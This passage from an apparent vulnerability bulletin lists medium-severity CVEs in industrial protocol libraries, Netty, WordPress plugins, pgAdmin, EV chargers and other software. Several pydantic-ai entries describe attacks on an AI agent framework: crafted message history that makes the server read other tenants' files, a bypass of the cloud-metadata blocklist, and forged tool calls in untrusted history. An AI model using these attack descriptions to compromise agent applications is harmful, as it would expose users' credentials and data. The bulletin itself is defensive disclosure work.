| MZ Automation GmbH--libiec61850                 | The MMS BER decoder contains a boundary-handling flaw in the processing of certain fields within confirmed-request messages. When a crafted BER-encoded element is received over an established MMS session (TCP port 102), the decoder may advance its internal read position incorrectly, leading to a heap out-of-bounds read. This condition causes the MMS handling process to terminate unexpectedly, resulting in a denial-of-service.                                                                                                                                                                                                                                          | 2026-07-30 | 6.5        | <a href="#">CVE-2026-63550</a> |
| MZ Automation GmbH--libiec61850                 | The MMS BER decoder contains a flaw in decoding fixed-width BER fields (boolean/integer): an attacker-supplied length value is not validated, causing a read past the end of a heap buffer. This leads to termination of the MMS service process and a denial-of-service condition.                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-30 | 6.5        | <a href="#">CVE-2026-65421</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| MZ Automation GmbH--libiec61850                                  | The MMS server connection handler contains a flaw in its processing of BER-encoded request data. When an MMS confirmed request PDU containing an extended BER tag is received over an established session, the decoder may advance its internal buffer incorrectly due to a missing bounds check. This results in a one byte heap out-of-bounds read and causes the MMS service process to terminate, leading to a denial-of-service condition.                                                                                                                                                                                                                                                                                                                                 | 2026-07-30 | 6.5        | <a href="#">CVE-2026-66349</a> |
| MZ Automation GmbH--libiec61850                                  | The GOOSE payload parser contains a boundary handling flaw that can be triggered by a single unauthenticated Layer 2 multicast frame on the process bus. When processing specific payload fields, an attacker controlled inner element length may exceed its enclosing length, causing the parser to over read by one byte. This out-of-bounds read reliably terminates the subscriber process, resulting in a denial-of-service condition.                                                                                                                                                                                                                                                                                                                                     | 2026-07-30 | 6.5        | <a href="#">CVE-2026-66364</a> |
| MZ Automation GmbH--libiec61850                                  | The GOOSE parser contains an off-by-one boundary-handling flaw that can be triggered by a single unauthenticated Layer-2 multicast frame on the process bus. When specific GOOSE message fields are processed, the parser advances its internal buffer position incorrectly, resulting in a heap out-of-bounds read. On affected platforms, this condition reliably terminates the subscriber process and causes a denial-of-service.                                                                                                                                                                                                                                                                                                                                           | 2026-07-30 | 6.5        | <a href="#">CVE-2026-66369</a> |
| MZ Automation GmbH--libiec61850                                  | The GOOSE subscriber component improperly validates the UTC timestamp field in unauthenticated IEC 61850 GOOSE (EtherType 0x88B8) Layer-2 multicast messages. A specially crafted GOOSE frame containing an undersized timestamp field can trigger a heap out-of-bounds read during message processing, causing the process to crash and resulting in a denial-of-service condition.                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-30 | 6.5        | <a href="#">CVE-2026-66720</a> |
| MZ Automation--lib60870                                          | A crafted IEC 60870-5-104 I-frame with TypeID 104 (C_TS_NA_1) and an inflated object count causes TestCommand_getFromBuffer to read one byte past the end of the heap-allocated message buffer.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-30 | 6.5        | <a href="#">CVE-2026-61893</a> |
| MZ Automation--lib60870                                          | A crafted IEC 60870-5-104 I-frame with a declared object count exceeding what fits in the ASDU body causes InformationObject_ParseObjectAddress to read one byte past the end of the heap-allocated message buffer.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-30 | 6.5        | <a href="#">CVE-2026-63033</a> |
| nanoid_project--nanoid                                           | nanoid (Nano ID) before 5.1.6 contains an infinite loop in the customAlphabet and customRandom functions. When these functions are configured with a size of 0, the internal generation loop never satisfies its exit condition and spins indefinitely, hanging the calling thread. An application that passes an unvalidated, attacker-controlled size of 0 to these functions is exposed to a denial-of-service condition.                                                                                                                                                                                                                                                                                                                                                    | 2026-07-29 | 5.9        | <a href="#">CVE-2026-67213</a> |
| nanoid_project--nanoid                                           | nanoid (Nano ID) before 5.1.16 contains an infinite loop in the customAlphabet and nanoid functions of its non-secure module (nanoid/non-secure). When these functions are given a negative size, the loop counter is decremented from a negative value and never reaches its termination condition, spinning indefinitely and hanging the calling thread. An application that passes an unvalidated, attacker-controlled negative size to these functions is exposed to a denial-of-service condition.                                                                                                                                                                                                                                                                         | 2026-07-29 | 5.9        | <a href="#">CVE-2026-67214</a> |
| nasirahmed--Advanced Form Integration Connect Forms to 200+ Apps | The Advanced Form Integration - Connect Forms to 200+ Apps plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.6.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the site's stored MailUp OAuth tokens in the adfoin_mailup_keys option with attacker-controlled tokens, hijacking future form-submission data to a MailUp account they control or nulling the tokens to break the integration entirely. This is exploitable by any authenticated user who can reach /wp-admin/profile.php, as admin_init fires for all logged-in users visiting any wp-admin page. | 2026-07-28 | 4.3        | <a href="#">CVE-2026-16587</a> |
| netty--netty                                                     | Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-29 | 6.5        | <a href="#">CVE-2026-59920</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                       | ( StompSubframeEncoder ) does not escape or validate header values in CONNECT and CONNECTED frames, so raw newline ( \n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.                                                             |            |            |                                |
| netty--netty                          | Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's HAProxy encoder ( HAProxyMessageEncoder ) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \r\n sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final. | 2026-07-29 | 5.5        | <a href="#">CVE-2026-59919</a> |
| netty--netty                          | Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters ( \r\n ). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.                                                                               | 2026-07-28 | 5.7        | <a href="#">CVE-2026-59921</a> |
| Nexcess--Event Tickets                | Unauthenticated Broken Access Control in Event Tickets <= 5.29.0.1 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-27 | 5.3        | <a href="#">CVE-2026-65567</a> |
| nextlevelbuilder--GoClaw              | A flaw has been found in nextlevelbuilder GoClaw up to 3.13.2. Affected by this vulnerability is the function ExecTool.Execute of the file goclaw/internal/http/tools_invoke.go of the component jq Handler. Executing a manipulation can lead to information disclosure. The attack can be launched remotely. The exploit has been published and may be used. This patch is called 1230. It is advisable to implement a patch to correct this issue.                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-28 | 4.3        | <a href="#">CVE-2026-18038</a> |
| nice-select2--nice-select2            | Versions of the package nice-select2 before 2.4.1 are vulnerable to Cross-site Scripting (XSS) via the <select> element. An attacker can supply a malicious payload that is rendered directly into the DOM without proper sanitization, causing arbitrary script execution in a victim's browser when they view or interact with the affected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-28 | 6.1        | <a href="#">CVE-2026-17528</a> |
| nik00726--Responsive Thumbnail Slider | The Wp Responsive Thumbnail Slider plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in versions up to, and excluding, 1.1.53. This is due to insufficient input sanitization and output escaping in the responsive_thumbnail_image_management() function, which echoes \$_GET['id'] directly into a double-quoted HTML attribute with no esc_attr() call. The only guard is a loose PHP numeric comparison (\$_GET['id']>0) that a string beginning with a numeric prefix trivially satisfies, and the addslashes() applied by wp_magic_quotes() is inert in HTML-attribute context because backslash is not an HTML escape character. This makes it possible for unauthenticated attackers to                                                                                                                                   | 2026-08-01 | 6.1        | <a href="#">CVE-2026-18344</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                              | inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a specially crafted link.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| NTPsec--ntpsec               | Buffer overflow in NTPsec's Zyfer refclock allows local attacker to crash ntpd                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-31 | 4.7        | <a href="#">CVE-2026-18321</a> |
| o6 Automation--open62541     | An unsigned integer underflow in the PubSub signature verification path in open62541 may allow a remote attacker to cause a denial of service via a crafted UDP packet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-30 | 5.9        | <a href="#">CVE-2026-63362</a> |
| OliveTin--OliveTin           | OliveTin gives access to predefined shell commands from a web interface. From 3000.2.0 until 3000.17.0, the service/internal/executor/arguments.go checkShellArgumentSafety function does not treat regex: custom argument types as unsafe for Shell mode actions, allowing values that pass typeSafetyCheckRegex to be interpolated by wrapCommandInShell into an sh -c command string and enabling OS command injection. This issue is fixed in version 3000.17.0.                                                                                                                                                                                                                                                       | 2026-07-29 | 6.6        | <a href="#">CVE-2026-67438</a> |
| OliveTin--OliveTin           | OliveTin gives safe and simple access to predefined shell commands from a web interface. Prior to 3000.17.0, the service/internal/api/api.go StartActionAndWait and StartActionByGetAndWait endpoints return full LogEntry output after execution without enforcing the logs permission, allowing a user with exec permission but logs:false to read action output. This issue is fixed in version 3000.17.0.                                                                                                                                                                                                                                                                                                              | 2026-07-29 | 4.3        | <a href="#">CVE-2026-67439</a> |
| onionshare--onionshare       | OnionShare is an open source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network. Prior to 2.6.4, OnionShare CLI/Desktop does not enforce the Receive mode disable_files setting in cli/onionshare_cli/web/receive_mode.py, where ReceiveModeRequest._get_file_stream() writes multipart file[] data to disk despite the text-only setting. This issue is fixed in version 2.6.4.                                                                                                                                                                                                                                                                          | 2026-07-31 | 5.4        | <a href="#">CVE-2026-54707</a> |
| onionshare--onionshare       | OnionShare is an open source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network. Prior to 2.6.4, OnionShare CLI/Desktop follows symbolic links in cli/onionshare_cli/web/send_base_mode.py through SendBaseModeWeb.set_file_info() and stream_individual_file(), allowing remote recipients of Share or Website mode to read local files outside the selected directory. This issue is fixed in version 2.6.4.                                                                                                                                                                                                                                            | 2026-07-31 | 4.8        | <a href="#">CVE-2026-54706</a> |
| opajaap--WP Photo Album Plus | The WP Photo Album Plus plugin for WordPress is vulnerable to generic SQL Injection via the 'table' parameter in all versions up to, and including, 9.2.04.002 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The export-table endpoint lacks a nonce check, meaning this vulnerability can also be triggered via CSRF by tricking an authenticated administrator into visiting a malicious page.            | 2026-07-29 | 4.9        | <a href="#">CVE-2026-15344</a> |
| openremote--openremote       | OpenRemote (org.openremote:openremote) versions <= 1.26.2 contain an insecure direct object reference vulnerability in the setAssetLinks endpoint of AlarmResourceImpl. The realm access check validates only a single realm obtained via realms.stream().findFirst() on a HashSet of realms from the request, rather than all realms. Because HashSet iteration order is non-deterministic, an authenticated attacker who includes alarm-asset links from both their own realm and a victim realm can, with roughly 50% probability per request (retryable), persist cross-tenant links and disclose victim asset names (returned via @Formula fields) through GET requests on the attacker's own alarm. Fixed in 1.27.0. | 2026-08-01 | 5.4        | <a href="#">CVE-2026-67310</a> |
| openwrt--luci                | luci-app-adblock-fast before 1.2.4-4 contains a stored cross-site scripting vulnerability in the blacklist name field that allows lower-privileged users to inject                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-08-02 | 5.4        | <a href="#">CVE-2026-68583</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | active HTML. When an administrator views the Adblock Fast status page, the injected payload executes in the administrator's browser under the LuCI origin.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| opf--openproject          | OpenProject is open-source, web-based project management software. Prior to 17.6.0, GET /api/v3/custom_options/:id resolved CustomOption records by global numeric id and allowed UserCustomField and GroupCustomField options without checking visible(current_user), so authenticated non-admin users could enumerate sequential custom option ids and read labels belonging to admin_only user or group custom fields. This issue is fixed in 17.6.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-30 | 4.3        | <a href="#">CVE-2026-67528</a> |
| opf--openproject          | OpenProject is open-source, web-based project management software. Prior to 17.6.0, GET /api/v3/time_entries and GET /api/v3/cost_entries rendered _links.workPackage.title and _links.workPackage.href through associated_resource in modules/costs/lib/api/v3/time_entries/time_entry_representer.rb and modules/costs/lib/api/v3/cost_entries/cost_entry_representer.rb without checking WorkPackage.visible or view_work_packages, allowing users with view_time_entries or view_cost_entries to read private work package subjects and ids. This issue is fixed in 17.6.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-30 | 4.3        | <a href="#">CVE-2026-67529</a> |
| papra-hq--papra           | Papra is a minimalistic document management and archiving platform. Prior to version 26.5.0, an authenticated user who is a member of any organization can delete or rename tags belonging to a different organization, given the target tag's ID. The route handler verifies the caller's membership of the ":organizationId" in the URL, but the repository write filters on tag.id alone, so the URL-level org scope never reaches the database. This issue has been patched in version 26.5.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 5.4        | <a href="#">CVE-2026-48052</a> |
| pgadmin.org--pgAdmin 4    | In SERVER mode, pgAdmin 4 enforces authentication per route via the @pga_login_required decorator; the application's before_request hook only handles desktop-mode auto-login and the Kerberos/Webserver-auth redirect, so any route shipped without the decorator is reachable without authentication (CWE-306). This is the same defect class previously fixed as CVE-2026-12046 (the sqleditor close/update_connection routes). A follow-up sweep, prompted by a report describing an incomplete fix for CVE-2026-12046, found further routes missing @pga_login_required: the Constraints blueprint's nodes and proplist (object listing) routes and its delete route (a state-mutating DELETE that removes table constraints); preferences.get_all_cli (GET, discloses all CLI-settable preference values); debugger.close (DELETE); and schema_diff.close (DELETE). An unauthenticated network client could therefore enumerate constraint metadata, delete table constraints, read preference values, and force-close debugger or schema-diff sessions belonging to other users, without ever authenticating. Fix adds the missing @pga_login_required decorator (and the corresponding import to the Constraints module) to each of these routes. The change is decorator-only; no behavioral changes to the underlying handlers. This issue affects pgAdmin 4 in SERVER mode: the Constraints and Debugger routes from 1.0, the Schema Diff close route from 4.18, and preferences.get_all_cli from 8.2, all before 9.17. | 2026-07-31 | 6.5        | <a href="#">CVE-2026-17348</a> |
| pgadmin.org--pgAdmin 4    | The per-tool permission system (custom roles / role-based tool permissions, introduced in pgAdmin 4 9.3) did not enforce its permission check consistently. In SERVER mode, pgAdmin 4 gates each tool behind a per-tool Flask-Security permission, but the permission decorator (permissions_required) was applied only to a single "front door" route per tool. Every other backend route and Socket.IO handler in that tool's workflow relied solely on pga_login_required/socket_login_required, which check authentication but not the tool permission. The reporter verified three cases against a test build: (1) a user without tools_query_tool permission received 403 on the protected sqleditor initialization route, but the same session went on to connect the server, initialize the viewdata backend chain, and retrieve real table row content; (2) a user without tools_grant_wizard received 403 on the protected acl route, but the same session still enumerated grantable objects, generated GRANT SQL, and successfully applied it -- confirmed database-side via has_table_privilege(); (3) a user without tools_schema_diff received 403 on the protected panel route, but the same                                                                                                                                                                                                                                                                                                                       | 2026-07-31 | 5.4        | <a href="#">CVE-2026-17350</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                   | session initialized schema diff, enumerated and connected databases, and obtained real DDL differences via the compare_database Socket.IO handler. The reporter also confirmed a related but distinct issue: a non-owner triggering /misc/workspace/adhoc_connect_server against an administrator-owned shared server caused pgAdmin to persist a new server row still owned by the administrator (user_id/shared unchanged from the source), even though the connection attempt itself reported failure. During remediation, the same front-door-only permission gap was found to also affect the ERD, PSQL, and Debugger tools, and the Backup, Restore, Maintenance, and Import/Export blueprints, none of which were part of the original report; these were fixed using the same pattern as an extension of the reported defect class. An authenticated user who had valid pgAdmin login and a stored, working database connection, but had been explicitly denied a specific tool's permission by an administrator, could therefore still drive that tool end-to-end through its other routes and sockets, including obtaining an interactive psql session over the /pty Socket.IO namespace and invoking backup/restore/maintenance/import-export jobs. Because the bypass only restores access to tools operating over the user's own already-authenticated database connection, it does not grant the user any database privilege they did not already hold; it circumvents pgAdmin's own tool-level access-control policy (an organisational segregation-of-duties control, separate from database-level authorization), letting a user reach a pgAdmin feature an administrator intended to withhold from them, using capabilities their existing database role already permits through other means. Socket.IO event handlers had no permission-aware equivalent of permissions_required; only socket_login_required existed, checking authentication but not the tool permission. Fix adds a socket_permissions_required decorator (mirroring permissions_required, honouring the Administrator bypass, reading permissions via has_permission()) and applies it, alongside permissions_required, as the outermost decorator on every backend route and Socket.IO handler for the affected tools. Regression tests assert 403 on every gated route and socket handler for a permission-less user. This issue affects pgAdmin 4 in SERVER mode: from 9.3 before 9.17. |            |            |                                |
| Phoenix Contact--CHARX SEC-3150                                   | The credentials for the local user "user-app" may be exposed in log files, potentially enabling a low-privileged local attacker with access to the logs to authenticate via SSH as the limited user "user-app". Charging could be interrupted.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-30 | 6.6        | <a href="#">CVE-2026-44105</a> |
| Phoenix Contact--CHARX SEC-3150                                   | An unauthenticated remote attacker can trigger a firmware update download via the OCPP backend by supplying an invalid firmware file. This will cause the file to remain accessible for a short period before it is deleted due to improper locking during the cleanup process.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-30 | 5.3        | <a href="#">CVE-2026-44102</a> |
| Phoenix Contact--CHARX SEC-3150                                   | An unauthenticated remote attacker can inject malicious firmware into the internal charging module because the JupiCore service transmits firmware updates without performing integrity or verification check. Successful exploitation may compromise the integrity of the affected device. This vulnerability could be used in chain with CVE-2026-44104.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-30 | 5.3        | <a href="#">CVE-2026-44103</a> |
| pion--stun                                                        | pion/stun is a Go implementation of STUN. Prior to 3.1.3, XORMappedAddress.GetFromAs can panic while parsing a malformed short XOR-MAPPED-ADDRESS attribute in STUN or ICE Binding-response parsing paths, allowing remote denial of service. This issue is fixed in version 3.1.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-31 | 5.3        | <a href="#">CVE-2026-54909</a> |
| pixelyoursite--PixelYourSite Your smart PIXEL (TAG) & API Manager | The PixelYourSite - Your smart PIXEL (TAG) & API Manager plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 11.2.1 via the getWooPurchaseEventParams. This makes it possible for unauthenticated attackers to extract WooCommerce purchase metadata - including product names, product IDs, quantities, per-item prices, order totals, currency, and order/transaction IDs - for any existing order by supplying an invalid or arbitrary order key. This is exploitable against any known or enumerated order ID, as the plugin resolves the order from the URL path variable alone and emits the full woo_purchase tracking payload into the page HTML via the pysOptions                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-08-01 | 5.3        | <a href="#">CVE-2026-18059</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | JavaScript object across its Facebook, Google Analytics, and Google Tag Manager integrations regardless of key validity.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| projectcapsule--capsule   | Capsule is a multi-tenancy and policy-based framework for Kubernetes. Prior to 0.13.8, CapsuleConfiguration.Spec.NodeMetadata.ForbiddenLabels.Regex and CapsuleConfiguration.Spec.NodeMetadata.ForbiddenAnnotations.Regex were not validated by the configuration admission webhook, allowing a Cluster Admin to store a malformed regex that later reached regexp.MustCompile in pkg/api/forbidden_list.go through internal/webhook/node/user_metadata.go and crashed the node admission webhook on Node create, update, or patch requests. This issue is fixed in version 0.13.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-30 | 6.8        | <a href="#">CVE-2026-65834</a> |
| projectcapsule--capsule   | Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.8, after the incomplete CVE-2026-22872 fix, TenantResource RawItems and Generators in internal/controllers/resources/collect.go, including handleRawItem and handleGeneratorItem, did not apply the ResourceReference.LoadResources and IsNamespacedGVK cluster-scoped resource rejection guard used by NamespacedItems, allowing a Tenant Owner to create cluster-scoped resources such as ClusterRole or ValidatingWebhookConfiguration through the cluster-admin controller client. This issue is fixed in version 0.13.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-30 | 6.6        | <a href="#">CVE-2026-65835</a> |
| pterodactyl--wings        | Wings is the server control plane for Pterodactyl, a free, open-source game server management panel. Prior to 1.13.0, unbounded json, yaml, and xml configuration-file parsers in parser.go can process an oversized non-file parser configuration file and exhaust Wings process memory. This issue is fixed in version 1.13.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-31 | 5.5        | <a href="#">CVE-2026-52857</a> |
| pydantic--pydantic-ai     | Pydantic AI is a Python agent framework for building Generative AI applications. In versions 1.56.0 through 1.98.0, when an application opts a URL into force_download='allow-local' (disabling the default block on private/internal IPs), the cloud-metadata blocklist could be bypassed by encoding the metadata IP in an IPv6 transition form (IPv4-mapped IPv6, 6to4, or NAT64), exposing cloud IAM short-term credentials on dual-stack or translated networks. This is an incomplete fix of GHSA-2jrp-274c-jhvv3 / CVE-2026-25580, whose remediation did not hold for IPv6-encoded forms of the metadata IPs. An application is affected only if it explicitly opts a FileUrl (ImageUrl, AudioUrl, VideoUrl, DocumentUrl) into force_download='allow-local' on a URL influenced by untrusted input; it is not affected when using bundled integrations to ingest user input (Agent.to_web / clai web, VercelAIAdapter, AGUIAdapter / Agent.to_ag_ui), since they do not propagate force_download from external data, nor when downloading only from developer-controlled URLs. This issue has been fixed in version 1.99.0. | 2026-07-29 | 6.8        | <a href="#">CVE-2026-46678</a> |
| pydantic--pydantic-ai     | Pydantic AI is a Python agent framework for building Generative AI applications. In versions 1.65.0 through 1.105.0, and 2.0.0b1 through 2.0.0b5, a client that submits message history to a Pydantic AI UI adapter (such as the Vercel AI adapter) can reference arbitrary files in the application's model-provider or cloud-storage account. While file URL parts are validated against a scheme allowlist, UploadedFile references - which point to a file by provider file ID or cloud-storage URI (e.g. s3://, gs://) - were forwarded without validation. Because the provider resolves an UploadedFile using the server-side identity (IAM role, service account, or provider API key) rather than the client's, an attacker can craft message history to make the server read objects from its own account or other tenants, given a referenceable identifier. Exploitation requires a valid file identifier, which is not always unguessable depending on how the application names objects. This issue has been fixed in versions 1.106.0 and 2.0.0b6.                                                                  | 2026-07-29 | 6.8        | <a href="#">CVE-2026-54249</a> |
| pydantic--pydantic-ai     | Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. In versions 1.88.0 up to but not including 1.107.1 and 2.0.0b1 up to but not including 2.5.0, the UI adapters (AG-UI via Agent.to_ag_ui()/AGUIAdapter, and Vercel AI via VercelAIAdapter) use sanitize_messages to strip unresolved ("dangling") client-submitted tool calls from untrusted message history before it reaches the agent, a defense-in-depth default                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-29 | 6.5        | <a href="#">CVE-2026-65975</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
